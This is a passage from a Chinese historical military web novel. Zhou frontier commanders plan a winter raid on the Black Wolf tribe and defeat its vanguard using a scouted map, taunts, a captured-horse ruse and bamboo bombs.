地图展开,山川河流、营地布局依稀可辨。赵平眼前一亮,猛地站起身:“将军!这是个机会!
黑狼部落刚折了八百精锐,元气大伤。若我军能出其不意,长途奔袭,直捣黄龙,或可建奇功!”
“赵小将军此言差矣!”坐在他下手的周扬立刻出声反驳,他性格沉稳,行事、用兵谨慎。
“黑狼部落酋长德克萨狡诈如狐,遭此重创,岂会不加防范?时隔两月,其部落布局定然已有变更。
这地图,恐怕已失时效。说不定德克萨怕我们趁机突袭,正张网以待,等我军自投罗网!”
“周将军所言极是。”严风捋须附和,“草原部落逐水草而居,受威胁下,冬季迁徙亦是常事。
或许他们主力早已转移,我们劳师远征,只能扑个空,反而可能陷入敌军埋伏、围困,草原上风雪太大,粮草不济,后果不堪设想!”
吴斌也点头:“我军虽勇,但冬季草原作战,非是我等强项,天时地利皆不在我。以疲惫之师,攻可能以逸待劳之敌,胜算何其渺茫?”
秦猛没有说话,坐在他下首的常勇立刻豁然起身,声如洪钟:“此言差矣!末将以为秦知寨所言极是!
咱们飞虎卫冬季大练兵至今,吃得好,练得棒。将士们摩拳擦掌,整军备战,为的就是这一刻。
如今兵精粮足,士气正旺,又得知黑狼部落准确位置,正当主动出击,灭个部落震慑鞑虏。”
他话音刚落,负责操练重骑兵的鲁真也起身附和:“将军,常副将所言不虚。
我军冬训卓有成效,士卒耐寒之力、雪地搏杀之技皆有大进,正是检验成效之时。对方屡屡作怪,我等不迎头痛击,反而冷了弟兄们的心!”
紧接着,秦猛身后的李明也抱拳开口,提供了关键信息:“禀将军,我营斥候近来在界河对岸活动,并未发现黑狼部落迁徙的迹象。
其营地炊烟依旧,巡逻队活动频繁,看来是想依托熟悉的地形,固守过冬。我军人马八千有余,区区一个黑狼部落,还不是手到擒来?”
“就是,咱们也来个人多势众!”赵平大声叫嚷着。
“不可……”周扬也瞪圆了眼睛!
……
帐内顿时争论四起,主战与主慎两派各执一词。
第276章 风雪斥候,图现转机
大帐内,为是否出兵而争论不休!
赵起听着麾下将领的争论,眉头紧皱。手指敲击案桌的频率不由得加快,显露出内心的权衡。
“好了!”他最终抬手压下议论,沉声开口:“赵平、秦猛,诸位,兵卒冬训有成,且勇气可嘉。但周扬、严风他们所考虑的,不无道理。
冬季作战,风险太大。时机,或许已经错过了。主动出击,恐难奏效,反而会损兵折将,动摇军心。”
大帐内的气氛,因赵起权衡利弊后,表态而倾向于保守,一股功败垂成的压抑感开始弥漫。
就在争论看似要尘埃落定,袭击计划即将被搁置之际,帐外突然传来秦猛的亲兵队长**的声音:“禀将军,草原上有紧急情报送来。”
“进开!”赵起眼中精光一闪。
秦猛则精神一振,似乎看到希望。
帐帘再次掀开,满身风雪、皮帽睫毛都挂着冰凌的石地虎随着**快步走入。他一进帐,眼睛就习惯性地去寻找秦猛,甚至下意识地想挤眉弄眼,竟没管赵起,想要走过来汇报。
秦猛见状,脸色一沉,低声喝斥:“混账东西!少嘴歪眼斜,有什么话不能光明正大地说?主将在此,你看我作甚?还有没有一点规矩?”
石地虎被呵斥得一缩脖子,非但不恼,反而讪讪一笑,挠了挠头,赶紧收敛了那副玩世不恭的表情,转向主位,单膝跪地,抱拳道。
“小的陷阵营斥候,参见将军!近来,奉命在雪原黑狼部落动静,确有加强戒备,但并未迁移。”
“我等斥候队伍接连十日,深夜推进式探查。营地外周朝十里雪地都经过排查,五里外没有发现陷坑、绊马索,靠近部落五里范围内……”
“什么?”除了秦猛麾下众将,赵起和其他将领都大吃一惊,用不可思议的目光看着汇报的斥候,听着石地虎持续汇报,脸色越发惊愕。
“这是小的们最新绘制的营地布防图!”
石地虎言简意赅地把飞天卫监视草原情况说来。又取出一卷用油布包裹得严严实实的绢帛,恭敬呈上。
**接过,转呈给赵起。
赵起展开绢帛,仅仅只一眼,瞳孔便猛地收缩。只因这张草绘地图与他以往见过的任何草图都不同,采用了一种极精准的标注法。
;正是秦猛传授的横竖双轴坐标法。
“那是末将利用四极八方,改良的草图描绘之法。以醒目的目标为参照物,与此精确标注。”秦猛察觉到那若有若无的目光,低声解释着。
“好。”赵起点头称赞。
草图上,是以黑狼部落中心区域的毡房为原点,以此来延伸,粮仓、马厩、营房、水源地等关键目标的位置、距离标注得一清二楚。
更令人叫绝的是,营地外围的雪地情况也用不同符号标明:白色颜料上代表雪地,红色标记代表陷阱,划痕竖线圆圈指示陷阱种类。
甚至几个方向还有隐秘的安全通道被特意标出!
各种标注通俗易懂,整张地图详尽得如同亲临其境,让赵起对黑狼部落的内外虚实瞬间了然于胸。
“不错,详实精准!”赵起忍不住赞赏的评价,他抬头目光灼灼地看向石地虎,“你是何人麾下?现任何职?”
秦猛立刻起身,拱手答道:“回将军,此乃我陷阵营,尖刀队队将石地虎,负责率斥候队。
这小子胆大心细,身手不凡,尤其擅长侦察潜伏,此次雪原监视任务,便是由他带队完成。”
“好!临危不惧,探查有功!此战若胜,你为首功!军功积累足够,本将亲擢你为部将!”赵起欣赏地看着这个机灵的石地虎,当众表态。
石地虎喜得胸膛挺得老高,脸上放光,这可是得到主将亲口许诺,在众人面前露了大脸了!
“哼,石队将,还愣着干什么?”秦猛扭过头,又对石地虎一瞪眼,“一点军中规矩都不懂?还不快谢过将军恩典?然后滚出去候着!”
“喏!小的石地虎,谢将军栽培!”石地虎这才反应过来,连忙单膝跪地,结结实实行了个大礼。
然后,才在**示意下,美滋滋地退出了大帐。
赵起看着石地虎离去的身影,又低头看了看手中堪称艺术品的地图,目光已变得意味深长。
他晃了晃手中的绢帛草图,似笑非笑地看着秦猛:“秦知寨,看来……你是早有准备啊?”
秦猛面对赵起审视的目光,不卑不亢,坦然道:“将军明鉴。去年冬日,末将就想找机会给黑狼部放点血,只是当时兵力单薄,又逢连番变故,将士疲惫,时机一直不成熟。
如今有将军您亲自坐镇边陲,八千兵马思路。我飞虎卫若不能趁机干票大的,扬我军威,岂不辜负了将军的信任,也寒了边关将士的心?”
“没错。”赵平这个好战分子按捺不住战意,豁然起身:“将军,去年秦知寨就提过奇袭之议,奈何,实力不济,已经错失过一次良机。如今敌情明了,斥候送来详细军情,
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战机已现!”
“是啊,将军,机不可失,时不再来。”
秦猛一使眼色,及山,常勇等主战派再次请战。
“不要急。”赵起一摆手,制止众将的求战心切。
“你们都过来看看。”
赵起将草图摊在案桌中央,招呼众将上前来。
当赵平、周扬、吴斌、严风等人围拢过来,看清草图上那些精密的标注后,无不倒吸一口冷气。
连秦猛也露出了惊讶之色,他早已通过石地虎的定期汇报知晓了大部分细节,但却不知道,斥候队伍如此细心,草图标准得这般清晰。
这张地形草图的出现瞬间扭转了局势,将那个看似冒险的计划,变成了一个极具诱惑力和可行性的战机。
包括周扬、严风、吴斌代表的稳重派,不再反对。
“草图在此,战机已现。”赵起目光扫过众将,最终落在秦猛身上,声音沉稳而有力。
“秦猛,既然你谋划已久,想必已有成算。说说看,这一仗,该怎么打?”
“这不合适吧?”秦猛迟疑地说道:“地形图是我提供的,将军应该先确认,再由您制定计划……”
“战机来了,就得出击。”赵起脸一沉,皱眉看着秦猛:“让你说你就说,你磨磨唧唧做甚?”
“就是。”赵平立刻接口:“秦知寨既然早有此意,必有详策,你的能力有目共睹,我等愿闻其详!”
其他将领也纷纷起哄,齐刷刷地将目光投向秦猛。
秦猛心中暗笑这群“懒鬼”推活儿,面上却故作谦虚地嘟囔一句:“都是自己人,末将就抛砖引玉了。”
他深吸一口气,走到地图前,手指点向几个关键位置,目光锐利如刀:“咱们斥候可以潜入敌营,但得排除暗杀酋长德克萨,此人狡诈多端,无法确认在哪个营房。
另外在食物中**这个战术也没用,因为草原部落,冬季每个帐房有火塘,解决吃食问题。”
“将军,诸位,我的想法是,我军直接展开途中。
可以兵分三路!
第一路,由将军您亲率主力大张旗鼓,从正面逼近,形成泰山压顶之势,吸引黑狼部落主力注意力。
双涡堡的张富贵、王铁山所部熟悉路径,可为先锋,扫清障碍。”
“另外两路,则为奇兵!”
他的手指划出两道弧线,指向地图上标注的安全通道,“可各遣精锐,连夜潜渡界河,沿此安全路径,借助夜色和风雪掩护,远程奔袭……”
第277章 定策与备战
赵起静静地听着秦猛制定的战略计划,心中也不禁感慨,这小子够记仇,考虑了极为周到。
他手指重重地点在地图上黑狼部落的核心区域,眼中精光爆射,已然下定决心。等秦猛说完后,与众人商议一番,查缺补漏,直接拍板。
“好!秦猛此计,的确是巧妙!”
“正所谓‘出其不意,攻其无备’,寒冬腊月,狼戎人定然想不到我军敢深入草原,没有准备。”
“就算无法突袭,那也不打紧,咱们占据主动!”
他霍然起身,声音斩钉截铁,传令道:
“就依此策,全军即刻进入战备状态!此乃机密,各营主将回营后,只告知麾下队将,命士卒整备器械、喂饱战马,随时待命出击。”
“一个小小的黑狼部落,岂能让它继续留存在草原?”
“此战,务求全功!”
军令如山,飞虎卫大营瞬间如同上紧发条的战争机器,高效运转起来。
训练突然终止,将士们返回营房,默默检查着弓弦的韧性,磨砺着刀锋的锐利,再抓紧休息。眼中没有畏惧,只有压抑不住的兴奋与战意。
从年前开始至今,他们一直苦练,用数千只肥羊积蓄的力气,早已化作对功勋和复仇的渴望。
秦猛率队返回自家军寨后,立刻升帐议事。秦大壮,刘铁柱,诸葛风,李恒等核心层将领齐聚。
议题明确:出击名单与留守安排。
秦大壮率先出列,抱拳道:“大人,军寨乃我等根基,不可有失。末将愿留守,确保后方无忧!”
秦猛深深看了他一眼,明白这位性格憨厚,老成持重的部下是不想与人争功,主动承担了看似没有出征的“风光”,却至关重要的责任。
他点头道:“秦副将有此心,甚好!只要打了胜仗,部分防守出击,防守之功,同样是大功!
李山、刘铁柱,你二人各抽一百精锐暂归秦副将指挥,加强守备。
大壮叔,你麾下一百人调入出击序列。张龙张虎,你们一人留下来协助,一人带队出征。”
“得令!”众将轰然应诺。
诸葛风与李恒则被赋予组织预备队和后勤保障的重任。
一时间,军寨内库房洞开,肉脯、炒米、姜块被迅速分装;
伙房日夜不息,制作便于携带的干粮;
不久前由唐老带队用麦芽糖熬制,入库的糖糕被取出,作为关键时刻补充体力的珍品分发下去。
这一切紧锣密鼓的准备,自然瞒不过细心的陈月娘。
是夜,官署后院正房内,烛火摇曳。
“官人,此次出征定要万分小心。”陈月娘依偎在秦猛怀中,柔荑紧握着他的手臂,眼中忧虑难掩。
秦猛搂紧妻子,温言安慰:“娘子宽心,此次我军准备充分,赵将军亲自坐镇,优势在我。你且在寨中安心等待捷报,照顾好自己。”
他语气轻松,却绝口不提自己将亲率奇兵,冒险深入敌后之事。
一天后,万事俱备。干粮袋鼓鼓囊囊,箭囊满满当当,战马喂足了精料,精神抖擞。配备的“**”被仔细包裹,分发到精选的士卒手中。
所有武器装备经过了最严格的检查。
深夜,风雪仍未停。秦猛悄然起身,披甲佩刀。他走到床前,在熟睡的妻子光洁的额头上轻轻一吻,旋即决然转身,脚步放得很轻,很轻。
在他掩上房门的刹那,陈月娘的眼睫微颤,两行清泪悄然滑落。
隔壁厢房的窗户后,林婉儿窈窕身影透过窗缝,望着那个在雪夜中愈发高大的身影融入铁甲洪流,低声祈愿:“秦大哥,一定要平安归来。”
而榻上的丫鬟小蛮翻了个身,梦呓般嘟囔:“小姐,我娘说女追男隔层纱,喜欢就去说嘛……”
军寨外,寒风卷雪,杀机凛冽。
数千飞虎卫精锐骑兵已肃立雪中,人衔枚,马裹蹄。没有激昂的誓师,只有无言的肃杀。
赵起将军端坐马上,目光扫过一张张坚毅的面孔,沉声道:“此战,关乎边关安宁,关乎飞虎卫荣辱、军威。望诸君用命,扬我军威!”
“凯旋!必胜!”
低沉的吼声在夜空中回荡。
秦猛一身玄甲,向赵起抱拳一礼,随即拨转马头,低喝:“出发!”
他率领李山、常勇、王善、鲁真、林怒等将,以及全部换上轻便铁甲、手持马槊的重骑兵,如同暗夜中的利箭,直射界河北岸。
赵平也率另一路奇兵,向上游迂回渡河。
严风,吴斌也各自率领队伍行动。
主力则由赵起亲自率领,浩浩荡荡开赴双涡堡。
留守的乌维看着远去的同袍,气得直跺脚,瞪着牛眼琢磨:“没马?老子下次骑头白牛也要上阵!”
双涡堡方面,从昨天午后,便已接到秦猛密令和赵起正式公文的张富贵、王铁山兴奋难耐。
一天多的准备,守军早就准备妥当。
“**,终于等到了!”张富贵挥舞着狼牙棒,浑身重甲哐哐作响,“儿郎们,吃肉的时候到了!”
王铁山虽然稳重些,但也是急性子,眼中也燃着战火:“冬季苦练的成果,就看这一战。”
堡内驻军迅速完成集结。
当赵起率领主力抵达时,张富贵已亲率八百精锐骑兵,率先渡过界河,踏入了白茫茫的草原。
王铁山则留下负责与主力接应。
草原上的积雪更深,寒风更烈。
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骑兵行进异常艰难,马蹄深一脚、浅一脚,速度大减。
百余里之遥,在如此恶劣的环境下,绝无可能一蹴而就。
白昼来临,张富贵率领的先锋军与赵起率领的主力大军在雪原上拉出长长的队伍,动静极大。
如此规模的军事行动,根本无法瞒过草原上无处不在的狼戎游骑。
“呜——”
凄厉的号角声在雪原上回荡。
十几名狼戎游骑惊恐地看着界河方向如黑潮般涌来的周军,脸上写满了难以置信与恐慌。
“周军来了!真的打过来了!”
“快,快!快回报族长,祸事来了!”
游骑们纷纷调转马头,疯狂抽打战鞭,带着颤音的呼喊声夹杂战马嘶鸣,迅速消失在风雪中。
黑狼部落,最大气派的毡房内!
这里从来不住人,是部落会议场所。
族长德克萨脸色阴沉得能滴出水来,帐内**的部落贵族和头人们也是一片哗然,气氛凝重。
“安静,都安静!”德克萨一声低吼,压下嘈杂,“周狗竟敢冬日来袭,确出意料。但早就在预料之内,不要惊慌,惊慌解决不了问题!”
一名苍老的头人忧心忡忡:“族长,周军来势汹汹,兵力远胜于我部,是否……暂避锋芒,送些牛羊打发走他们,或邻近部落求援?”
“要不趁他们未至,咱们撤离此地?”
“什么?服软?”另一名彪悍的年轻头人立刻反对:“我们的营地、牲口怎么办?寒冬迁徙,和**有什么区别?
周军劳师远征,在雪地里行军,必然疲惫,正是我们依托熟悉地形,以逸待劳的好机会!”
“对!跟他们拼了!让周狗知道草原勇士的厉害!”
德克萨眼中凶光闪烁,他能带领爱部落在草原立足,绝非庸碌之辈。
他迅速做出决断:“好了!周军冬季来袭,是危机,也是机会!若能击溃他们,缴获的战马和铁甲等物资装备,足以让我部实力大增!”
他猛地站起身,发布命令:“做两手准备!立刻组织所有能战斗的勇士,随我出营迎敌,依托前方雪丘地势节节抵抗,引诱周军来攻。
老人、妇孺和部分战士留守营地,加强戒备,万一前线战况不利,随时准备向后方转移!”
“是!”众头人轰然领命,杀气腾腾地冲出大帐。
德克萨望向帐外纷飞的大雪,嘴角勾起一抹残忍的冷笑:“秦猛?既然你们送上门来找死,这冰天雪地里,就是你们的葬身之所!”
与此同时,秦猛和赵平率领的两支奇兵正顶着严寒,沿着石地虎地图上标注的隐秘路线,艰难而坚定地向黑狼部落的后方迂回包抄而去。
第278章 阵前对峙,暗藏杀机
草原上的风雪更甚,狂风肆虐着,天地间一片苍茫。
张富贵虽然暴脾气,但天生就有领兵的天赋,率领先锋军在前面开路,尽管恨不得立刻杀到黑狼部,却极力约束部下,没有孤军深入。
而且时刻与后面的大部队保持在十里左右的距离。
他率领的八百先锋骑兵高速行军,在靠近黑狼部落二十多里时与雷克萨的两千狼戎骑兵相遇。
双方弓箭手各自射住阵脚,在雪丘之间对峙。
雷克萨不愧是老酋长,经验丰富。
他虽惊诧于周军先锋的严整军容和那股扑面而来的凶悍之气,但反应极快。他手中弯刀连挥,呼喝声在风中传开,两千部落勇士迅速变阵。
主力骑兵在中军压住阵脚,左右两翼各有约两百名轻骑如同游隼般开始策马奔腾,马蹄溅起漫天雪泥,既是为了保持马匹的热度与冲锋的势头,也是为了威慑和寻找周军阵型的破绽。
整个狼戎军阵,像一头展开双翼的黑色巨鹰,散发出原始的杀戮气息。
张富贵豹眼圆睁,将对方阵型变化尽收眼底。
他非但有勇,更有为将者的敏锐。
“呸!想跟老子玩两翼包抄?”张富贵狞笑一声,声如洪钟,几乎压过了风声,“儿郎们,变阵!让他们瞧瞧啥叫真正的铁口袋!”
“呜——”
令旗挥动,号角短鸣。
本部五百精锐骑兵闻令而动,迅速向两侧展开,护住两翼,他们人人手持长矛或马刀,铁甲外的羊皮袄在风雪中抖动,眼神冰冷如霜。
而王铁山麾下的三百**手,则稳居中军,动作整齐划一,在马上擎起了那令人胆寒的**。
尤其是最前排的上百架改良强**,**身巨大,**箭如同短矛,在灰暗的天光下闪烁着寒光,**机张开,当真如同“孔雀开屏”,散发出死亡的寂静。
整个周军先锋阵型瞬间从锥形变成了一个内凹的“V”字口袋,仿佛就等着狼戎骑兵撞进来。
周军将士在张富贵的带领下,爆发出山呼海啸般的喊杀声。
“杀!杀!杀!”
这声音凝聚成一股锐利的杀气,穿透风雪,直扑狼戎军阵。
许多狼戎勇士坐骑不安地刨着蹄子,他们常年与边军打交道,却从未感受过如此凶狠、仿佛要撕碎一切的军队,未战先怯,气势上已然输了三分。
雷克萨见状,心头一沉,深知兵法上,军队士气可鼓不可泄,必须立刻扭转这不利局面。
他一夹马腹,便欲出阵,以草原的规矩来呵斥周军无端过河犯境,试图在道义上抢占上风。
然而,有人的速度比他更快!
只见张富贵一拍战马,拎着沉重的狼牙棒冲出阵前十几步,棒尖直指雷克萨,咆哮声如惊雷炸响:“呔!尔等这群欺软怕硬、忘恩负义的草原鬣狗。曾几何时,如同狗一样摇尾乞怜。
我大周出了些许奸佞之徒,尔等便露出豺狼本性。年年像贼一样越过界河,烧杀抢掠我手无寸铁的边民,抢粮食,掳妇孺,无恶不作,天理难容!今日,你虎贲军爷爷们替天行道来了!”
他声音洪亮,几个早已准备好的通晓狼戎语的士兵立刻策马上前,举起木制喇叭,用尽全身力气将张富贵的怒骂翻译过去,声音在旷野中回荡,字字诛心:
“尔等蛮夷,茹毛饮血,不识王化,不通人伦礼仪。只会恃强凌弱,乃是茅坑里的蛆虫,世间的渣滓,可敢与我天朝雄师堂堂正正一战?”
“听着!我大周虎贲军五万天兵已至!踏平尔等巢穴如同碾碎蚁穴!识相的,速速跪地投降。
献上罪魁祸首雷克萨首级,或可饶尔等部落妇孺不死!若敢顽抗,赵起赵擎苍将军率大军一到,定教尔等部落鸡犬不留,化为齑粉!”
这心理战极为毒辣。尽管狼戎人怀疑五万大军的真实性。
但“虎贲军”、“赵擎苍将军”这些名号,以及哪怕只有一两万周军精锐的可能性,都像重锤般敲击在他们的心头。
黑狼部落虽强,男女老少上阵,可战之兵不过五千,如何抵挡?阵中顿时响起一片压抑的惊呼和骚动。
“安静!都给我安静!”雷克萨察觉到己方消极情绪,又惊又怒,回头怒视族人,“周狗狡诈,这是乱我军心!他们防线漫长,哪来五万大军?
就算有,我黑狼勇士的弯刀也不是吃素的。草原是我们的主场,用不着怕他们,杀光他们。”
“杀,杀光他们!”
部分贵族、头人跟着鼓噪附和,勉强压住了阵脚。
但周军的攻心之计接踵而至。快嘴军卒再次开骂,语气充满了鄙夷:“雷克萨,你这老匹夫!
不过看了几本偷来的汉人兵书,就敢在我军面前班门弄斧,冒充大尾巴狼?你算个什么东西?
就凭你这点微末道行,也敢算计我铁血军寨?真是螳臂当车,不自量力!睁大你的狗眼看清楚,这是谁?”
话音刚落,周军阵型微微分开,十多名被俘的狼戎人被推到了阵前。正是雷克萨的三子穆托达和族老之孙伯恩等人。
这两拨俘虏的待遇天差地别:穆托达及其亲信衣衫褴褛,蓬头垢面,在风雪中冻得瑟瑟发抖。
而伯恩几人却穿着厚实的锦袄,面色红润,满脸油光胖了不少,与周遭的肃杀环境格格不入。
这鲜明的对比,像一把尖刀,瞬间刺入了狼戎人的心中,引发了更大的骚动。
底层那些时常忍饥挨饿的勇士,看着伯恩等人成为俘虏却还吃得好穿得暖,眼神复杂,心思浮动。
“穆托达!”雷克萨
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看到爱子如此惨状,心如刀绞,目眦欲裂,紧握弯刀的手指因用力而发白。
周军士卒的嘲弄声再次响起:“看清楚了没,雷老鸟?你的好儿子落得如此下场!再看看伯恩公子,他们才是聪明人,仰慕我汉家文化,愿弃暗投明,学习耕种,不再冬日挨饿。”
“是不是啊,伯恩公子?”
伯恩等人被身后军卒死死按住,拼命想摇头否认,却被强行制住,扯着脑后头发一晃一晃的。身后还有人鹦鹉学舌,说着“没错”“就是”。
在外人看来,仿佛是在频频点头承认。这套秦猛所授的离间计,在此刻,发挥了巨大的效果,黑狼部落的军心,已悄然间出现了裂痕。
连族老的孙子投靠都能获得优待,何况底层的狼戎?没准投靠汉人,不用挨饿,过得比现在好,
“混帐!无耻!”雷克萨暴跳如雷,用凶狠的目光扫视四周,凭借多年积威,勉强压制住了内部的人心思变,但气氛已变得异常压抑。
而周军的挑衅还在升级:“哈哈哈,雷老鸟,是不是气得肝儿疼?还想派人去幽州找崔文远求救?
我告诉你,找他也没用!你这是吃屎摸不到茅房门!是不是想救你儿子?偏不让你如愿!”
“跟这群言而无信的**废什么话!直接砍了算了!”张富贵适时的“怒”声喝道,配合得天衣无缝。
几名军卒立刻大声应是,哐啷拔出雪亮的钢刀,架在穆托达等俘虏的脖子上,来回比画着。
“父汗,救我——!”
穆托达被吓得魂飞魄散,发出凄厉的哀嚎求救声。他研究过汉人文化,也学会苟且偷生。
眼看局势即将失控,雷克萨眼中闪过一丝诡诈,他强压怒火,用流利的汉语大声喊道。
“对面的周军将领!两军交战,不斩来使,也不轻害俘虏!
我黑狼部落愿意用战马牛羊,换回我儿和部众!我们可以谈一谈!”
他此举一来是真心想救儿子,二来更是想拖延时间,观察周军虚实,并等待后方营地做好准备。
张富贵心中暗笑,这老小子果然中计,正合我意!
他立刻扮作一副被说动的样子,拍马再次出列,大声回应:“雷克萨,我大周乃是礼仪之邦,最讲道理。既然你愿意谈,那就拿出诚意来。你能出多少战马牛羊换你儿子的命?”
于是,在这风雪交加的两军阵前,出现了一场极为诡异的讨价还价。
双方将领隔空喊话,木喇叭将声音不断传递。
“三百匹战马!”
“三百?你打发叫花子呢?你这儿子可是块读书的料,懂得文韬武略,更是个人才,五百太少!”
“四百匹!”
“不行,你没诚意。”
“还是,那…那六百匹好马!”
第279章 计破惊马,大破狼戎
“八百匹!”
张富贵这回懒得搭腔,德克萨咬牙切齿的加数。
“一千匹,这是极限。”
“汉,一千!就这个数!”张富贵觉得差不多了,大方地挥手:“另外这几个也算上,算是添头!”
“……好!一千匹就一千匹!”德克萨恨恨地答应,立刻吩咐手下从部落方向驱赶来上千匹战马。
张富贵则要求对方将马群从两侧送来,以免冲撞本阵。
然而,德克萨脸上骤然浮现狠厉之色,这是他的计谋。
他猛地一挥刀,负责驱赶马群的儿郎立刻用鞭子狠狠抽打马群后侧,同时发出尖锐的呼哨。
只见那上千匹战马受到惊吓,喜律律地叫着,在一匹格外神骏的头马带领下,并非从两侧,而是径直朝着周军阵地核心发起了疯狂的冲锋!
“草原的勇士们!跟着马群,杀光这些周狗!”德克萨瞅准战机,高举弯刀,声嘶力竭地大吼。
他一马当先,率领两千骑兵,紧随着奔腾的马群,如同决堤的洪水,向张富贵的先锋军发起了总攻。
他想借马群冲垮周军阵型,再以优势兵力,一举歼灭这支先锋!
上千匹战马受惊奔腾,如同雪原上涌动的狂潮,马蹄践踏着积雪,卷起漫天雪雾,轰鸣声震耳欲聋,带着毁灭一切的气势扑面而来。
紧随其后的,是德克萨亲自率领的两千狼戎骑兵,弯刀映着雪光,喊杀声震天,誓要将周军碾碎。
面对这排山倒海般的攻势,张富贵非但没有丝毫慌乱,反而仰天狂笑:“哈哈哈!德克萨,早就知道你个老小子会玩这手背信弃义的把戏。儿郎们,变阵!让他们有来无回。”
不单单是张富贵临危不乱,兵卒也没有慌乱。军寨牛马甚多,类似这种局面,早就演练过。
令旗再动!
原本呈“V”字口袋阵的八百骑兵,行动迅捷如臂使指。中军的**手和两侧的骑兵迅速向左右后方移动,中间瞬间让出一条数丈宽的通道。阵型变成了一个更加明显的喇叭口。
“德克萨。你公然践踏交换俘虏的草原法则,天地不容!休怪我等心狠手辣了,砍了他们。”
张富贵眼神冰冷,厉声下令。
阵前那些原本“看守”俘虏的士兵应声,手起刀落。
穆托达等人惊恐的表情凝固在脸上,头颅滚落,鲜血喷涌,染红了洁白的雪地,触目惊心。
“穆托达——!”
德克萨眼睁睁看着爱子**,发出一声撕心裂肺的悲嚎,眼中瞬间布满血丝,仇恨淹没了他。
“杀,一个不留!”德克萨歇斯底里的咆哮着。他以为周狗只会要挟,再次索要先牛羊马匹。从未想过周军下手这么快又这么狠辣无情。
然而,战场形势瞬息万变。就在马群即将冲入周军让开的通道时,周军阵中响起几声大喝。
只见以骁骑都尉林军为首的十余名身手矫健的军汉,从马背上跃起,脚踏同袍的肩膀借力,如同灵猿般几个起落,竟冒险迎着头马的方向扑去!
林军更是纵身飞跃,精准地落在了那头神骏的头马背上,双臂如铁钳般死死抱住马颈,全身用力,迫使吃痛,受惊的头马偏离了方向。
头马一偏,后方整个马群的冲锋势头顿时为之一窒,大部分马匹顺着周军让开的通道和两侧**的威慑,本能地从喇叭口两侧涌过。
只有少数收势不及的马匹撞上了阵型侧翼,被**刺倒,哀鸣倒下,未能造成大规模混乱。
几乎在同一时间,张富贵眼中凶光毕露,怒吼道:“给**尝尝竹炮雷和火油的滋味!”
命令下达,军阵中早已待命的二十多名力士,从马鞍袋里掏出一个个粗竹筒(竹筒雷)和黑陶罐(**)。用火折子点燃引线,奋力投向已经冲到百余步内的狼戎骑兵阵中!
首先是竹筒雷落入敌群!
“砰!”“轰!”“嘭!”
一连串并不算剧烈但足够骇人的**声在狼戎骑兵中响起!
黑烟裹挟着火光腾起,破碎的竹片和里面填充的铁钉、铁砂如暴雨般向四周飞射。
杀伤范围足以覆盖方圆两三丈,人马浑身是伤。惨叫声此起彼伏,许多战马更是应**惊嘶人立,骑术稍差的狼戎勇士直接被甩下马背。
更多的人被破片击中,惨叫着倒下,阵型前沿一片人仰马翻。
这还没完!紧接着,那些黑陶罐**也砸了下来。
陶罐轰隆碎裂,里面的火油溅出,遇火即燃。
“轰”的一下,一团团更大的火焰在人群中爆开,迅速蔓延,粘稠的火油飞溅,沾在人身上、马背上,扑打却不灭,发出焦臭的气味。
风雪不但没能立刻浇灭火焰,反而助长了火势。战马更是惊慌的四处乱窜,狼戎兵愈发混乱。
**声、火光、浓烟、刺鼻的气味、受惊狂奔的战马、同伴的惨嚎……这一切组合成的恐怖场景,彻底摧毁了狼戎骑兵的冲锋阵型。
他们迷信武力,何曾见过这等宛如天罚的武器?
队伍陷入混乱,许多战马受惊原地打转,或将主人甩落,或互相冲撞,自相践踏而死者不计其数。
冲在最前面的德克萨,也被一枚竹筒雷的破片在脸上划开一道深可见骨的血口,剧痛钻心,更是惊骇万分。他察觉到不妙,准备下令撤退。
可是,已经为时已晚!
“先锋营,随我杀敌!碾碎他们!”张富贵看准时机痛打落水狗,他一声
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怒吼,如同下山的猛虎,一马当先,挥舞着狼牙棒就冲了出去。
他身后的骑兵们如同两把出鞘的利刃,沿着喇叭口两侧,狠狠地楔入了混乱不堪的狼戎军阵中。
此刻的狼戎军,早已失去了冲锋的势头和严整的队形,完全沦为被动挨打的靶子。
反观周军骑兵则是士气如虹,如同虎入羊群,刀劈**,所向披靡。
张富贵更是勇不可挡,狼牙棒挥舞得如同风车一般,一棒子能打倒好几个,沾着就死,碰着即亡,径直杀向脸上流血、惊魂未定的德克萨。
德克萨勉强举刀迎战,但先失锐气,又遭重创,哪里是状如疯虎的张富贵的对手?
两人交手不过三五招,便被一棒震得手臂发麻,弯刀几乎脱手,德克萨吓得魂飞魄散,拨马便走。
就在此时,战场侧后方传来更加密集沉重的马蹄声和震天的喊杀声。
正是周扬和王铁山率领的五百中军精锐骑兵及时赶到,从侧翼如同铁锤般砸入了狼戎军的腰部。
前有张富贵猛冲猛打,侧有生力军拦腰一击,本就混乱一片的黑狼部落的骑兵彻底崩溃了。
士兵们哭爹喊娘,只恨马少生了两条腿,丢盔弃甲,四散奔逃。雪地上留下了数百具尸体或伤兵,鲜血将大片雪原染成了刺目的红黑色。
“追,咬住他们,别让德克萨跑了!”张富贵杀得兴起却没忘记计划,率领骑兵一路追杀溃兵。不能让对方脱离视线,不给他们喘息之际。
周扬率领部分骑兵紧随策应。
王铁山则留下来,指挥队伍清扫战场。又派出人手,协助林军等人把停下来的马群给收拢。
张富贵带队穷追不舍,看着狼戎溃兵逃窜的方向,让通译军卒再次大声喊话,话语杀气腾腾。
“尔等听着!黑狼部落常年入境劫掠,其罪当诛。德克萨此人狡诈多端,背信弃义,不为人子。不绑了德克萨来降,我军踏平尔等部落时,鸡犬不留!”
这些诛心之语和残酷的景象,让溃逃的狼戎人更加恐惧,不少人下意识地看向被众亲兵簇拥着、狼狈不堪的酋长德克萨,眼神复杂。
德克萨感受到这些目光,心中又惊又怒,却再也不敢回头接战,只是拼命鞭打战马,带着残兵败将,朝着部落营地的方向仓皇逃去。
“不要慌,不要乱,我们还有机会。”德克萨想到这段时间连夜布置的陷阱,放声狂吼着。
风雪依旧,但这场前锋遭遇战,却以黑狼部落的惨败而告终,德克萨大吼着,聚拢残兵败将。
他眼中闪过希冀,只要把对方引入陷阱区域,就有机会翻盘,解决身后敌人,再迁徙不迟。却未注意到前方空中有一团绿色烟花绽放。
第280章 雪原猎狼时
草原上,风雪未歇,天色愈发昏暗。
就在秦猛率领部队在齐膝深的积雪中艰难前行,即将抵达预定位置时,前方偏左的昏暗天空中,突然传来一声轻微的爆响,随即一团醒目的绿色烟花骤然绽放,在风雪中清晰可见。
“是赵统领的信号!”队伍中有人低呼。
这意味着赵平率领的八百人已经成功从上游渡河,迂回到了黑狼部落的侧后大致位置。
秦猛精神一振,但眉头随即又皱了起来。
他这一路因绕行更远、积雪更深,本就慢了一步,途中又因那群不知死活的女**耽搁了时间。想起方才的遭遇,他眼中寒光未散。
